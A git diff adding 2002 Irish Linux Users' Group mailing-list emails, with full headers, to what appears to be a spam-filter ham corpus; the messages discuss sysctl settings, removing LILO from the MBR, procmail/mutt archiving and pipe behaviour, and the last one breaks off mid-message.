Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> OK, I guess that sysctl.conf is the best way of setting +> +> /proc/sys/fs/file-max +> +> to a nice big number. Can you make a change to /etc/sysctl.conf, and then +> have it take effect, without a reboot (to test it, really) ? +> +> John +> +> + +Have a look at the manual page for the sysctl command? + +Cheers, +Waider. +-- +waider@waider.ie / Yes, it /is/ very personal of me + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00182.025cc878aad27ae621db5b5628540989 b/bayes/spamham/easy_ham_2/00182.025cc878aad27ae621db5b5628540989 new file mode 100644 index 0000000..c42f4a2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00182.025cc878aad27ae621db5b5628540989 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Wed Jul 31 16:33:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 802AD440C8 + for ; Wed, 31 Jul 2002 11:33:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:33:54 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFTw230935 for + ; Wed, 31 Jul 2002 16:29:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA13014; Wed, 31 Jul 2002 16:27:18 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12986 for ; Wed, + 31 Jul 2002 16:27:13 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id QAA13090 for ; Wed, + 31 Jul 2002 16:26:42 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6VFRSW06021 for ilug@linux.ie; Wed, 31 Jul 2002 16:27:28 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 31 Jul 2002 16:27:28 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] sysctl.conf +Message-Id: <20020731152728.GF5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020731152211.GE5178@jinny.ie> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 04:24:17PM +0100, Kenn Humborg mentioned: +> man sysctl +> # sysctl -p + + Ah right. Actually, sysctl -a was more helpful - shows why setting +sys.fs.files-nr didn't work.. + +KAte + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00183.c41caba7916cc619cd4e2543eb1aea40 b/bayes/spamham/easy_ham_2/00183.c41caba7916cc619cd4e2543eb1aea40 new file mode 100644 index 0000000..87ca58a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00183.c41caba7916cc619cd4e2543eb1aea40 @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Wed Jul 31 16:33:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 622E7440A8 + for ; Wed, 31 Jul 2002 11:33:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:33:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFXD231089 for + ; Wed, 31 Jul 2002 16:33:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA13205; Wed, 31 Jul 2002 16:29:25 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA13175 for + ; Wed, 31 Jul 2002 16:29:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (gavin.diva.ie [62.77.168.221]) by + claymore.diva.ie (8.9.3/8.9.3) with ESMTP id QAA29998 for ; + Wed, 31 Jul 2002 16:29:16 +0100 +Message-Id: <3D480446.9080002@cunniffe.net> +Date: Wed, 31 Jul 2002 16:37:42 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] sysctl.conf +References: <20020731152211.GE5178@jinny.ie> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> OK, I guess that sysctl.conf is the best way of setting +> +> /proc/sys/fs/file-max + +cat 20480 > /proc/sys/fs/file-max + +ta dah... + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00184.1d7301eb34c99d53e37f7e891b847ede b/bayes/spamham/easy_ham_2/00184.1d7301eb34c99d53e37f7e891b847ede new file mode 100644 index 0000000..f248542 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00184.1d7301eb34c99d53e37f7e891b847ede @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Wed Jul 31 17:12:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B6EE5440A8 + for ; Wed, 31 Jul 2002 12:11:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:11:58 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VG16232259 for + ; Wed, 31 Jul 2002 17:01:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA14577; Wed, 31 Jul 2002 16:57:57 +0100 +Received: from smtpout.xelector.com ([62.17.160.131]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA14460 for ; Wed, + 31 Jul 2002 16:57:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.160.131] claimed to + be smtpout.xelector.com +Received: from [172.18.80.234] (helo=xeljreilly) by smtpout.xelector.com + with smtp (Exim 3.34 #2) id 17Zved-0000sZ-00 for ilug@linux.ie; + Wed, 31 Jul 2002 16:44:51 +0100 +Message-Id: <007601c238aa$61bcbcb0$ea5012ac@xelector.com> +From: "John Reilly" +To: +References: <3D351C3E@webmail.ucc.ie> +Subject: Re: [ILUG] removing lilo +Date: Wed, 31 Jul 2002 16:53:15 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Lacking a DOS boot disk, I just looked for a different way to do it +yesterday. You can use + lilo -u /dev/hda + +Sourced via google search "remove lilo" which returned +http://support.microsoft.com/default.aspx?scid=KB;EN-US;q315224& + +Much handier if you only have tomsrtbt or something similar. + +jr + + +----- Original Message ----- +From: "jac1" +To: +Sent: Wednesday, July 31, 2002 2:30 PM +Subject: [ILUG] removing lilo + + +> hi, +> i recently had to wipe linux from my pc but forgot to restore the original +> MBR (NT). Anyone know how i can do this? linux is entirely gone and no +boot +> floppy. formatting the entire disk doesn't do it either. +> +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +information. +> List maintainer: listmaster@linux.ie + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00185.b6902dc0d90f39f906bae90a74907357 b/bayes/spamham/easy_ham_2/00185.b6902dc0d90f39f906bae90a74907357 new file mode 100644 index 0000000..40638d3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00185.b6902dc0d90f39f906bae90a74907357 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Wed Jul 31 17:12:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 43FA6440C8 + for ; Wed, 31 Jul 2002 12:12:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:12:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGBY200322 for + ; Wed, 31 Jul 2002 17:11:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA15216; Wed, 31 Jul 2002 17:08:33 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA15183 for ; Wed, + 31 Jul 2002 17:08:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Wed, 31 Jul 2002 17:08:21 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885536@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'jac1'" , ilug@linux.ie +Subject: RE: [ILUG] removing lilo +Date: Wed, 31 Jul 2002 17:08:18 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +"Good" ol dos fdisk /mbr should do the twick + +But...but... Jac, your a big linux head....why? + +regards, +CW + +------------ +hi, +i recently had to wipe linux from my pc but forgot to restore the original +MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot +floppy. formatting the entire disk doesn't do it either. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00186.d42c074a7cb6f93949c3723b90e05eef b/bayes/spamham/easy_ham_2/00186.d42c074a7cb6f93949c3723b90e05eef new file mode 100644 index 0000000..1842399 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00186.d42c074a7cb6f93949c3723b90e05eef @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Wed Jul 31 17:37:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BB946440A8 + for ; Wed, 31 Jul 2002 12:37:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:37:16 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGT4200918 for + ; Wed, 31 Jul 2002 17:29:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA16255; Wed, 31 Jul 2002 17:27:10 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from fiachra.ucd.ie (fiachra.ucd.ie [137.43.12.82]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA16220 for ; + Wed, 31 Jul 2002 17:27:04 +0100 +Received: from gavin by fiachra.ucd.ie with local (Exim 3.12 #1 (Debian)) + id 17ZwId-0008N7-00 for ; Wed, 31 Jul 2002 17:26:11 +0100 +Date: Wed, 31 Jul 2002 17:26:11 +0100 +From: Gavin McCullagh +To: irish linux users group +Subject: Re: [ILUG] Re: Mutt + Outbox +Message-Id: <20020731172611.C32039@fiachra.ucd.ie> +Reply-To: Irish Linux Users Group +Mail-Followup-To: irish linux users group +References: <20020726182224.GA6308@dangerousideas.com> + <20020727165855.GG12078@vipersoft.co.uk> + + <"from s1118644"@mail.inf.tu-dresden.de> + <20020727191542.A19057@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020727191542.A19057@ie.suberic.net>; from + kevin+dated+1028225744.d700ac@ie.suberic.net on Sat, Jul 27, + 2002 at 19:15:43 +0100 +X-Gnupg-Publickey: http://fiachra.ucd.ie/~gavin/public.gpg +X-Operating-System: Linux 2.4.18 i686 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, 27 Jul 2002, kevin lyda wrote: + +> saw this on mutt users. might be a handy trick for those of with +> hyperactive archiving genes... :) +> +> this might work better in this long run though: +> +> set record='~/Mail/outbox-`date "+%Y-%m"`' + +A nice followon of this for the obsessive archiver is: + +Procmail: +.procmail/rc.mail + + :0: + * ^Subject.*\[ILUG\] + :ilug-`date "+%m-%Y"` + + +and Mutt: +.muttrc: + mailboxes =ilug-`date "+%m-%Y"` + +does mean threads get broken at the start of the month though :( + +Gavin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00187.8495ea1461cf3d0853576cd0be8fdf71 b/bayes/spamham/easy_ham_2/00187.8495ea1461cf3d0853576cd0be8fdf71 new file mode 100644 index 0000000..1ef768b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00187.8495ea1461cf3d0853576cd0be8fdf71 @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Wed Jul 31 17:37:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5041B440C8 + for ; Wed, 31 Jul 2002 12:37:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:37:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGUw201097 for + ; Wed, 31 Jul 2002 17:30:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA16379; Wed, 31 Jul 2002 17:28:32 +0100 +Received: from mail.aculink.net (65-173-158-7.aculink.net [65.173.158.7]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA16345 for + ; Wed, 31 Jul 2002 17:28:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host 65-173-158-7.aculink.net + [65.173.158.7] claimed to be mail.aculink.net +Received: from cdm01.deedsmiscentral.net ([204.118.157.147]) by + mail.aculink.net (Merak 4.4.2) with ESMTP id EDA37003; Wed, 31 Jul 2002 + 10:35:35 -0600 +Received: from cdm01.deedsmiscentral.net + (IDENT:redneck@cdm01.deedsmiscentral.net [192.168.20.1]) by + cdm01.deedsmiscentral.net (8.11.6/8.11.6/ver) with ESMTP id g6VGmIT15771; + Wed, 31 Jul 2002 10:48:19 -0600 +Message-Id: <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +Date: Wed, 31 Jul 2002 10:48:16 -0600 +From: SoloCDM +Reply-To: deedsmis@aculink.net, ilug@linux.ie +X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.20-9.2mdk i586) +X-Accept-Language: en +MIME-Version: 1.0 +To: "Hunt, Bryan" +Cc: "ILUG (Request)" +References: <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Re: removing lilo +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +"Hunt, Bryan" stated the following: +> +> you need to do a "fdisk /mbr" from a bootable windoze floppy +> alternatively boot from linux boot disk and do fdisk, delete all partitions. + +I need to ask a question concerning this issue. + +What if I don't want to get rid of the MBR -- it will destroy the OS +on that drive. How do I remove lilo without the above fdisk +procedure? + +> -----Original Message----- +> From: jac1 [mailto:jac1@student.cs.ucc.ie] +> +> i recently had to wipe linux from my pc but forgot to restore the original +> MBR (NT). Anyone know how i can do this? linux is entirely gone and no boot +> floppy. formatting the entire disk doesn't do it either. + +-- +Note: When you reply to this message, please include the mailing + list/newsgroup address and my email address in To:. + +********************************************************************* +Signed, +SoloCDM + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00188.10d8b09baef47a07f0b96990e4bfa4da b/bayes/spamham/easy_ham_2/00188.10d8b09baef47a07f0b96990e4bfa4da new file mode 100644 index 0000000..033220e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00188.10d8b09baef47a07f0b96990e4bfa4da @@ -0,0 +1,82 @@ +From ilug-admin@linux.ie Wed Jul 31 17:37:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A4189440A8 + for ; Wed, 31 Jul 2002 12:37:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:37:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGae201185 for + ; Wed, 31 Jul 2002 17:36:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA16845; Wed, 31 Jul 2002 17:35:01 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from nwd2mime2.analog.com (nwd2mime2.analog.com [137.71.25.114]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA16812 for + ; Wed, 31 Jul 2002 17:34:56 +0100 +Received: from nwd2gtw1 (unverified) by nwd2mime2.analog.com (Content + Technologies SMTPRS 4.2.5) with SMTP id + ; Wed, 31 Jul 2002 12:34:52 + -0400 +Received: from nwd2mhb2 ([137.71.6.12]) by nwd2gtw1; Wed, 31 Jul 2002 + 12:34:45 -0400 (EDT) +Received: from dsun1.adbvdesign.analog.com ([137.71.42.101]) by + nwd2mhb2.analog.com with ESMTP (8.9.3 (PHNE_18979)/8.7.1) id MAA19360; + Wed, 31 Jul 2002 12:34:43 -0400 (EDT) +Received: from dsun358.adbvdesign.analog.com (dsun358 [137.71.41.58]) by + dsun1.adbvdesign.analog.com (8.11.6+Sun/8.11.6) with ESMTP id g6VGYbK03725; + Wed, 31 Jul 2002 17:34:37 +0100 (BST) +Received: from dsun358 (localhost [127.0.0.1]) by + dsun358.adbvdesign.analog.com (8.8.8+Sun/8.8.8) with SMTP id RAA06635; + Wed, 31 Jul 2002 17:34:40 +0100 (BST) +Date: Wed, 31 Jul 2002 17:34:40 +0100 +From: Paul Askins +To: deedsmis@aculink.net, ilug@linux.ie +Subject: Re: [ILUG] Re: removing lilo +Message-Id: <20020731173440.041047c2.paul.askins@adbvdesign.analog.com> +In-Reply-To: <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +References: <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> + <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +Organization: Analog Devices +X-Mailer: Sylpheed version 0.7.8claws (GTK+ 1.2.7; ) +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +"fdisk /mbr" will not destroy the OS, it will simply restore the windows +mbr as it was. Running fdisk and deleting a partition would however +destroy the OS (bu even then only if you format the disc afterwards). + + +Sure wasn't it SoloCDM +sometime around Wed, 31 Jul 2002 10:48:16 -0600 said: + +> I need to ask a question concerning this issue. +> +> What if I don't want to get rid of the MBR -- it will destroy the OS +> on that drive. How do I remove lilo without the above fdisk +> procedure? +> +-- +Paul Askins <:) +Email: Paul Askins + +Behind every great man, there is a woman -- urging him on. + -- Harry Mudd, "I, Mudd", stardate 4513.3 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00189.959922d0363f85a2a6e7cc689b05b75c b/bayes/spamham/easy_ham_2/00189.959922d0363f85a2a6e7cc689b05b75c new file mode 100644 index 0000000..1ff6e35 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00189.959922d0363f85a2a6e7cc689b05b75c @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Wed Jul 31 17:37:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E3C4B440C8 + for ; Wed, 31 Jul 2002 12:37:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:37:33 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGbN201197 for + ; Wed, 31 Jul 2002 17:37:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA16907; Wed, 31 Jul 2002 17:35:13 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id RAA16829 for ; + Wed, 31 Jul 2002 17:35:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.105.180.140] claimed + to be mandark.labs.netnoteinc.com +Received: from triton.labs.netnoteinc.com + (lbedford@triton.labs.netnoteinc.com [192.168.2.12]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6VGYFp15606; + Wed, 31 Jul 2002 17:34:15 +0100 +Date: Wed, 31 Jul 2002 17:34:14 +0100 +From: Liam Bedford +To: deedsmis@aculink.net, ilug@linux.ie +Subject: Re: [ILUG] Re: removing lilo +Message-Id: <20020731173414.4123f075.lbedford@lbedford.org> +In-Reply-To: <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +References: <5FE418B3F962D411BED40000E818B33C9C8E65@HASSLE> + <3D4814D0.6A61E6E5@cdm01.deedsmiscentral.net> +Organization: Netnote International +X-Mailer: Sylpheed version 0.8.0claws6 (GTK+ 1.2.10; i386-debian-linux-gnu) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, 31 Jul 2002 10:48:16 -0600 +SoloCDM claiming to think: + +> "Hunt, Bryan" stated the following: +> > +> > you need to do a "fdisk /mbr" from a bootable windoze floppy +> > alternatively boot from linux boot disk and do fdisk, delete all partitions. +> +> I need to ask a question concerning this issue. +> +> What if I don't want to get rid of the MBR -- it will destroy the OS +> on that drive. How do I remove lilo without the above fdisk +> procedure? +> +fdisk /mbr will restore a dos MBR.. it'll leave the partitions alone. + +linux fdisk and deleting all partitions will actually leave LILO in the +MBR though. + +L. +-- + dBP dBBBBb | If you're looking at me to be an accountant + dBP | Then you will look but you will never see + dBP dBBBK' | If you're looking at me to start having babies + dBP dB' db | Then you can wish because I'm not here to fool around + dBBBBP dBBBBP' | Belle & Sebastian (Family Tree) + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00190.598d2a83744a3a7ac536e36ca56d7e65 b/bayes/spamham/easy_ham_2/00190.598d2a83744a3a7ac536e36ca56d7e65 new file mode 100644 index 0000000..de0fb57 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00190.598d2a83744a3a7ac536e36ca56d7e65 @@ -0,0 +1,88 @@ +From ilug-admin@linux.ie Wed Jul 31 17:37:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E2CE440A8 + for ; Wed, 31 Jul 2002 12:37:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 17:37:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VGcF201249 for + ; Wed, 31 Jul 2002 17:38:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA17034; Wed, 31 Jul 2002 17:36:00 +0100 +Received: from linux.local ([195.218.108.65]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id RAA16990 for ; Wed, + 31 Jul 2002 17:35:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.65] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6VFxhX09665 for + ; Wed, 31 Jul 2002 16:59:43 +0100 +Message-Id: <200207311559.g6VFxhX09665@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] Piping to multiple processes (which might die)? +In-Reply-To: Message from Ronan Cunniffe of + "Wed, 31 Jul 2002 15:13:23 BST." + <1028124803.3d47f0834c261@webmail.gameshrine.com> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <9662.1028131183.1@linux.local> +Date: Wed, 31 Jul 2002 16:59:43 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + RAA16990 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Wed, 31 Jul 2002 15:13:23 +0100 + | From: Ronan Cunniffe + | + | Um, my test was to tee to a fifo I didn't read from... resulting + | in the other reader hanging around forever.... not realising that + | never-opened-for-reading and opened-and-later-closed might be + | different. + + ah! yes! this is one of those gotchas everyone stumbles + over. the writer of a never-opened-for-reading pipe will + quickly block (as soon as the pipe's limited buffer fills + up). but the writer of opened-and-later-closed pipe gets + an EPIPE error (and the usually-terminal SIGPIPE signal). + + the typical stumble is someone creates an anonymous 